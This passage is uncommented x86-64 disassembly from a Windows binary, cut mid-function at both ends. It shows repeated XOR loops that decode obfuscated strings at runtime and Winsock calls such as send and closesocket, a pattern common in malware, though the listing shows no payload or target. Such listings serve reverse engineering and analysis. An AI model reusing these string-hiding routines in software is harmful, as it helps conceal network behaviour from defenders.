pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x50
jl 0x1400276e0
jmp 0x140027819
lea r9, [rbp + 0xc0]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x50
jl 0x1400277f0
lea rdx, [rbp + 0xc0]
lea rcx, [0x140106ea0]
call fcn.140014590
mov rcx, rax
call fcn.140014800
mov eax, dword [str.I_NOX_]
mov dword [rsp + 0x30], eax
movzx eax, word [0x1400a41d4]
mov word [rsp + 0x34], ax
mov byte [rsp + 0x30], WSACleanup
xor byte [rsp + 0x31], 0x3a
xor byte [rsp + 0x32], 0x3b
xor byte [rsp + 0x33], 0x3c
xor byte [rsp + 0x34], 0x3d
xor byte [rsp + 0x35], 0x3e
lea rcx, [rsp + 0x30]
call fcn.140030ab8
nop
mov rcx, qword [rbp + 0x5a0]
test rcx, rcx
je 0x1400278c5
mov rdx, qword [rbp + 0x5b0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400278ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002b327
call fcn.140062a94
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x5a0], xmm0
mov qword [rbp + 0x5b0], rsi
lea rcx, [rbp + 0x610]
call fcn.1400069f0
nop
mov rdx, qword [rbp + 0x5d0]
cmp rdx, 0x10
jb 0x140027914
inc rdx
mov rcx, qword [rbp + 0x5b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002790e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002b32d
call fcn.140062a94
nop
mov rcx, qword [rbp + 0x560]
test rcx, rcx
je 0x140027926
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbp + 0x558], 0
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rbp + 0x580]
cmp rdx, 0x10
jb 0x1400285db
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400285d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002b14c
jmp 0x1400285d6
lea rdx, [rbp + 0x130]
call fcn.14002b530
mov r10, rax
cmp byte [rax + 0x1c], 0
je 0x140027b33
mov r8d, esi
cmp edi, 2
jl 0x140027aef
movdqa xmm5, xmmword [0x1400a54f0]
movdqa xmm4, xmmword [0x1400a5c40]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5510]
movd xmm8, r13d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400279e0
cmp r8d, 0x1d
jge 0x140027b33
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140027b00
mov rdx, r10
lea rcx, [0x140106ea0]
call fcn.140014590
mov rcx, rax
call fcn.140013010
lea rdx, [rbp + 0x70]
call fcn.14002b560
mov r10, rax
cmp byte [rax + 0x1f], 0
je 0x140027ce9
mov r8d, esi
cmp edi, 2
jl 0x140027cb9
movdqa xmm5, xmmword [0x1400a54f0]
mov edx, esi
movdqa xmm4, xmmword [0x1400a5c40]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5510]
movd xmm8, r13d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov r8d, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x140027bb0
jmp 0x140027ce9
mov r9, r10
nop dword [rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140027cc0
mov rcx, r10
call fcn.140030ab8
call fcn.140022ef0
call fcn.140022f90
lea rdx, [rbp + 0x150]
call fcn.14002b580
mov r10, rax
cmp byte [rax + 0x21], 0
je 0x140027eb3
mov r8d, esi
cmp edi, 2
jl 0x140027e6f
movdqa xmm5, xmmword [0x1400a54f0]
movdqa xmm4, xmmword [0x1400a5c40]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5510]
movd xmm8, r13d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140027d60
cmp r8d, 0x22
jge 0x140027eb3
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140027e80
mov rdx, r10
lea rcx, [0x140106ea0]
call fcn.140014590
mov rcx, rax
call fcn.140013010
lea rdx, [rbp + 0x98]
call fcn.14002b560
mov r9, rax
cmp byte [rax + 0x1f], 0
je 0x14002b152
cmp edi, 2
jl 0x14002802d
movdqa xmm5, xmmword [0x1400a54f0]
movdqa xmm4, xmmword [0x1400a5c40]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5510]
movd xmm8, r13d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x20
jge 0x14002b152
jmp 0x140027f23
mov r8, r9
mov eax, 0xa0a0a0a1
mul esi
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x39
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x20
jge 0x14002b152
jmp 0x140028030
movups xmmword [rbp + 0x4e0], xmm0
mov qword [rbp + 0x4f0], rax
movups xmm0, xmmword [str.o_WSO_Q4a]
movups xmmword [rbp - 0x58], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140028209
mov r8d, esi
cmp edi, 2
jl 0x1400281d9
movdqa xmm5, xmmword [0x1400a54f0]
mov edx, esi
movdqa xmm4, xmmword [0x1400a5c40]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5510]
movd xmm8, r13d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x54]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400280d0
jmp 0x140028209
lea r9, [rbp - 0x58]
nop dword [rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400281e0
mov qword [rbp + 0x178], rsi
mov qword [rbp + 0x188], rsi
mov qword [rbp + 0x190], send
lea rax, [rbp - 0x58]
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140028230
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x178]
call fcn.140003990
lea r8, [rbp + 0x178]
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0x558]
call fcn.140007430
nop
movups xmm0, xmmword [0x1400a4eb8]
movups xmmword [rbp + 0x5f8], xmm0
movsd xmm1, qword [0x1400a4ec8]
movsd qword [rbp + 0x608], xmm1
mov rdx, qword [rbp + 0x4e0]
cmp rdx, qword [rbp + 0x4e8]
jne 0x14002861f
movups xmm0, xmmword [0x1400a5200]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [0x1400a5210]
movups xmmword [rbp + 0x20], xmm1
movups xmm0, xmmword [0x1400a5220]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [0x1400a5230]
movups xmmword [rbp + 0x40], xmm1
movups xmm0, xmmword [0x1400a5240]
movups xmmword [rbp + 0x50], xmm0
movsd xmm1, qword [0x1400a5250]
movsd qword [rbp + 0x60], xmm1
movzx eax, word [0x1400a5258]
mov word [rbp + 0x68], ax
mov r8d, esi
cmp edi, 2
jl 0x14002843f
movdqa xmm5, xmmword [0x1400a54f0]
movdqa xmm4, xmmword [0x1400a5c40]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5510]
movd xmm8, r13d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x14]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140028330
cmp r8d, 0x5a
jge 0x140028483
movsxd rax, r8d
lea r9, [rbp + 0x10]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5a
jl 0x140028450
lea rdx, [rbp + 0x10]
lea rcx, [0x140106ea0]
call fcn.140014590
mov rcx, rax
call fcn.140014800
mov eax, dword [str.I_NOX_]
mov dword [rsp + 0x30], eax
movzx eax, word [0x1400a41d4]
mov word [rsp + 0x34], ax
mov byte [rsp + 0x30], WSACleanup
xor byte [rsp + 0x31], 0x3a
xor byte [rsp + 0x32], 0x3b
xor byte [rsp + 0x33], 0x3c
xor byte [rsp + 0x34], 0x3d
xor byte [rsp + 0x35], 0x3e
lea rcx, [rsp + 0x30]
call fcn.140030ab8
nop
mov rcx, qword [rbp + 0x4e0]
test rcx, rcx
je 0x14002852c
mov rdx, qword [rbp + 0x4f0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028515
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002b391
call fcn.140062a94
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4e0], xmm0
mov qword [rbp + 0x4f0], rsi
lea rcx, [rbp + 0x610]
call fcn.1400069f0
nop
mov rdx, qword [rbp + 0x5d0]
cmp rdx, 0x10
jb 0x14002857b
mov rcx, qword [rbp + 0x5b8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028575
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002b397
call fcn.140062a94
nop
mov rcx, qword [rbp + 0x560]
test rcx, rcx
je 0x14002858d
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbp + 0x558], 0
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rbp + 0x580]
cmp rdx, 0x10
jb 0x1400285db
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400285d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002b1bf
call fcn.140062a94
mov eax, 1
mov rcx, qword [rbp + 0x840]
xor rcx, rsp
call fcn.140062540
lea r11, [rsp + 0x980]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov r8b, 1
lea rcx, [rbp + 0x4d8]
call fcn.14000f020
mov r8d, esi
test al, al
jne 0x14002883a
movups xmm0, xmmword [0x1400a4d90]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [0x1400a4da0]
movups xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [0x1400a4db0]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [0x1400a4dc0]
movups xmmword [rbp + 0xf0], xmm1
movups xmm0, xmmword [0x1400a4dd0]
movups xmmword [rbp + 0x100], xmm0
cmp edi, 2
jl 0x1400287d9
movdqa xmm5, xmmword [0x1400a54f0]
mov edx, esi
movdqa xmm4, xmmword [0x1400a5c40]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5510]
movd xmm8, r13d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xc4]
mov r8d, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x50
jl 0x1400286d0
jmp 0x140028809
lea r9, [rbp + 0xc0]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x50
jl 0x1400287e0
lea rdx, [rbp + 0xc0]
lea rcx, [0x140106ea0]
call fcn.140014590
mov rcx, rax
call fcn.140014800
mov eax, dword [str.I_NOX_]
mov dword [rsp + 0x30], eax
movzx eax, word [0x1400a41d4]
jmp 0x1400284ac
movsd xmm0, qword [str.B_HJ___r__G]
movsd qword [rbp - 0x68], xmm0
mov eax, dword [0x1400a4ff8]
mov dword [rbp - 0x60], eax
movzx eax, word [0x1400a4ffc]
mov word [rbp - 0x5c], ax
movzx eax, byte [0x1400a4ffe]
mov byte [rbp - 0x5a], al
cmp edi, 2
jl 0x14002897f
movdqa xmm4, xmmword [0x1400a5c40]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1400a54f0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a5510]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.B_HJ___r__G]
pxor xmm2, xmm1
movd dword [rbp - 0x68], xmm2
movdqa xmm3, xmmword [0x1400a5500]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a5510]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x64]
pxor xmm2, xmm1
movd dword [rbp - 0x64], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rbp - 0x68]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140028990
mov qword [rbp + 0x98], rsi
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0xb0], send
lea rax, [rbp - 0x68]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x1400289e3
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x98]
call fcn.140003990
lea r8, [rbp + 0x98]
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0x558]
call fcn.140006c40
nop
cmp byte [rax + 0x20], 0
je 0x14002b333
mov qword [rbp + 0x518], rsi
mov qword [rbp + 0x528], rsi
mov qword [rbp + 0x530], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x518], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x528], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], send
mov byte [rax], 0
cmp byte [rbp + 0x1b8], 0
je 0x140028abc
mov rdx, qword [rbp + 0x1b0]
cmp rdx, 0x10
jb 0x140028aa5
inc rdx
mov rcx, qword [rbp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028aa0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
